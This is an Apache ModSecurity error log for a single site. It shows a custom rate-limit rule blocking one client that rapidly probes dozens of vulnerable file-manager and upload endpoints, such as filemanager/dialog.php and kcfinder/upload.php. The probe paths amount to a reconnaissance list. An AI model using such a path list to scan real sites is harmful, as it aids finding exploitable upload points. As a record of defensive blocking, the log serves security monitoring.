[Fri May 22 22:13:43.390872 2026] [:error] [pid 15584:tid 15643] [client 134.199.156.173:56554] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEagAAAFc"]
[Fri May 22 22:13:43.391421 2026] [:error] [pid 15584:tid 15632] [client 134.199.156.173:56542] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEawAAAEw"]
[Fri May 22 22:13:43.400175 2026] [:error] [pid 15583:tid 15602] [client 134.199.156.173:56564] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrSwAAAA4"]
[Fri May 22 22:13:43.408500 2026] [:error] [pid 15584:tid 15624] [client 134.199.156.173:56568] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahBkl99Z_TVLbNEx52hEbAAAAEQ"]
[Fri May 22 22:13:43.411867 2026] [:error] [pid 58782:tid 58806] [client 134.199.156.173:56578] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0AAAAARY"]
[Fri May 22 22:13:43.425017 2026] [:error] [pid 58782:tid 58801] [client 134.199.156.173:56600] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0AQAAARE"]
[Fri May 22 22:13:43.425368 2026] [:error] [pid 15584:tid 15620] [client 134.199.156.173:56630] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEbgAAAEA"]
[Fri May 22 22:13:43.426080 2026] [:error] [pid 58782:tid 58795] [client 134.199.156.173:56614] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0AgAAAQs"]
[Fri May 22 22:13:43.426499 2026] [:error] [pid 15584:tid 15627] [client 134.199.156.173:56590] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEbQAAAEc"]
[Fri May 22 22:13:43.428272 2026] [:error] [pid 15583:tid 15589] [client 134.199.156.173:56632] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrTAAAAAE"]
[Fri May 22 22:13:43.432329 2026] [:error] [pid 58782:tid 58803] [client 134.199.156.173:56636] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0AwAAARM"]
[Fri May 22 22:13:43.433972 2026] [:error] [pid 15583:tid 15603] [client 134.199.156.173:56638] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrTQAAAA8"]
[Fri May 22 22:13:43.445757 2026] [:error] [pid 58782:tid 58799] [client 134.199.156.173:56650] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0BAAAAQ8"]
[Fri May 22 22:13:43.446412 2026] [:error] [pid 15583:tid 15606] [client 134.199.156.173:56656] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrTgAAABI"]
[Fri May 22 22:13:43.450572 2026] [:error] [pid 15584:tid 15633] [client 134.199.156.173:56660] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahBkl99Z_TVLbNEx52hEbwAAAE0"]
[Fri May 22 22:13:43.451422 2026] [:error] [pid 15583:tid 15591] [client 134.199.156.173:56662] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrTwAAAAM"]
[Fri May 22 22:13:43.455331 2026] [:error] [pid 15583:tid 15612] [client 134.199.156.173:56676] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrUAAAABg"]
[Fri May 22 22:13:43.468038 2026] [:error] [pid 15583:tid 15611] [client 134.199.156.173:56690] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahBkl3naOncRcIm17YUrUQAAABc"]
[Fri May 22 22:13:43.469851 2026] [:error] [pid 58782:tid 58792] [client 134.199.156.173:56694] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0BQAAAQg"]
[Fri May 22 22:13:43.471244 2026] [:error] [pid 58782:tid 58804] [client 134.199.156.173:56696] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0BgAAARQ"]
[Fri May 22 22:13:43.471749 2026] [:error] [pid 15583:tid 15601] [client 134.199.156.173:56700] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrUgAAAA0"]
[Fri May 22 22:13:43.472684 2026] [:error] [pid 15584:tid 15626] [client 134.199.156.173:56704] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEcAAAAEY"]
[Fri May 22 22:13:43.475898 2026] [:error] [pid 15584:tid 15639] [client 134.199.156.173:56712] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEcQAAAFM"]
[Fri May 22 22:13:43.476903 2026] [:error] [pid 58782:tid 58787] [client 134.199.156.173:56720] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0BwAAAQM"]
[Fri May 22 22:13:43.488542 2026] [:error] [pid 15584:tid 15629] [client 134.199.156.173:56740] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEcgAAAEk"]
[Fri May 22 22:13:43.489186 2026] [:error] [pid 58782:tid 58807] [client 134.199.156.173:56732] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0CAAAARc"]
[Fri May 22 22:13:43.491991 2026] [:error] [pid 15584:tid 15636] [client 134.199.156.173:56748] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEcwAAAFA"]
[Fri May 22 22:13:43.497357 2026] [:error] [pid 58782:tid 58805] [client 134.199.156.173:56752] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0CQAAARU"]
[Fri May 22 22:13:43.512851 2026] [:error] [pid 15584:tid 15634] [client 134.199.156.173:56758] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEdAAAAE4"]
[Fri May 22 22:13:43.532370 2026] [:error] [pid 58782:tid 58793] [client 134.199.156.173:56768] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0CgAAAQk"]
[Fri May 22 22:13:43.534601 2026] [:error] [pid 15584:tid 15622] [client 134.199.156.173:56770] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEdQAAAEI"]
[Fri May 22 22:13:43.549635 2026] [:error] [pid 58782:tid 58802] [client 134.199.156.173:56780] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0CwAAARI"]
[Fri May 22 22:13:43.586644 2026] [:error] [pid 15584:tid 15623] [client 134.199.156.173:56794] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEdgAAAEM"]
[Fri May 22 22:13:43.590135 2026] [:error] [pid 58782:tid 58785] [client 134.199.156.173:56818] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0DAAAAQE"]
[Fri May 22 22:13:43.590634 2026] [:error] [pid 58782:tid 58784] [client 134.199.156.173:56830] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0DQAAAQA"]
[Fri May 22 22:13:43.592955 2026] [:error] [pid 58782:tid 58808] [client 134.199.156.173:56846] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0DgAAARg"]
[Fri May 22 22:13:43.594901 2026] [:error] [pid 58782:tid 58794] [client 134.199.156.173:56802] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0DwAAAQo"]
[Fri May 22 22:13:43.603969 2026] [:error] [pid 15583:tid 15605] [client 134.199.156.173:56848] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrUwAAABE"]
[Fri May 22 22:13:43.619397 2026] [:error] [pid 15584:tid 15641] [client 134.199.156.173:56856] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEdwAAAFU"]
[Fri May 22 22:13:43.621955 2026] [:error] [pid 15583:tid 15598] [client 134.199.156.173:56862] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrVAAAAAo"]
[Fri May 22 22:13:43.631085 2026] [:error] [pid 58782:tid 58797] [client 134.199.156.173:56864] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0EAAAAQ0"]
[Fri May 22 22:13:43.635666 2026] [:error] [pid 58813:tid 58826] [client 134.199.156.173:56872] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahBkl56yyKWDKULhxJ2VHwAAAUo"]
[Fri May 22 22:13:43.636483 2026] [:error] [pid 15584:tid 15644] [client 134.199.156.173:56900] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEeAAAAFg"]
[Fri May 22 22:13:43.639389 2026] [:error] [pid 15583:tid 15604] [client 134.199.156.173:56914] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrVQAAABA"]
[Fri May 22 22:13:43.640387 2026] [:error] [pid 15583:tid 15596] [client 134.199.156.173:56918] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrVgAAAAg"]
[Fri May 22 22:13:43.640529 2026] [:error] [pid 58782:tid 58796] [client 134.199.156.173:56886] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahBkl4xsdTFafgO8vhQ0EQAAAQw"]
[Fri May 22 22:13:43.646858 2026] [:error] [pid 15584:tid 15638] [client 134.199.156.173:56934] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahBkl99Z_TVLbNEx52hEeQAAAFI"]
[Fri May 22 22:13:43.652592 2026] [:error] [pid 58813:tid 58823] [client 134.199.156.173:56950] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl56yyKWDKULhxJ2VIAAAAUc"]
[Fri May 22 22:13:43.662098 2026] [:error] [pid 15583:tid 15595] [client 134.199.156.173:56964] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrVwAAAAc"]
[Fri May 22 22:13:43.664964 2026] [:error] [pid 15583:tid 15592] [client 134.199.156.173:56978] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrWAAAAAQ"]
[Fri May 22 22:13:43.667972 2026] [:error] [pid 15583:tid 15607] [client 134.199.156.173:56990] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrWQAAABM"]
[Fri May 22 22:13:43.676773 2026] [:error] [pid 15583:tid 15609] [client 134.199.156.173:57006] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrWgAAABU"]
[Fri May 22 22:13:43.679217 2026] [:error] [pid 15583:tid 15594] [client 134.199.156.173:57022] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrWwAAAAY"]
[Fri May 22 22:13:43.680811 2026] [:error] [pid 15583:tid 15597] [client 134.199.156.173:57038] [client 134.199.156.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahBkl3naOncRcIm17YUrXAAAAAk"]
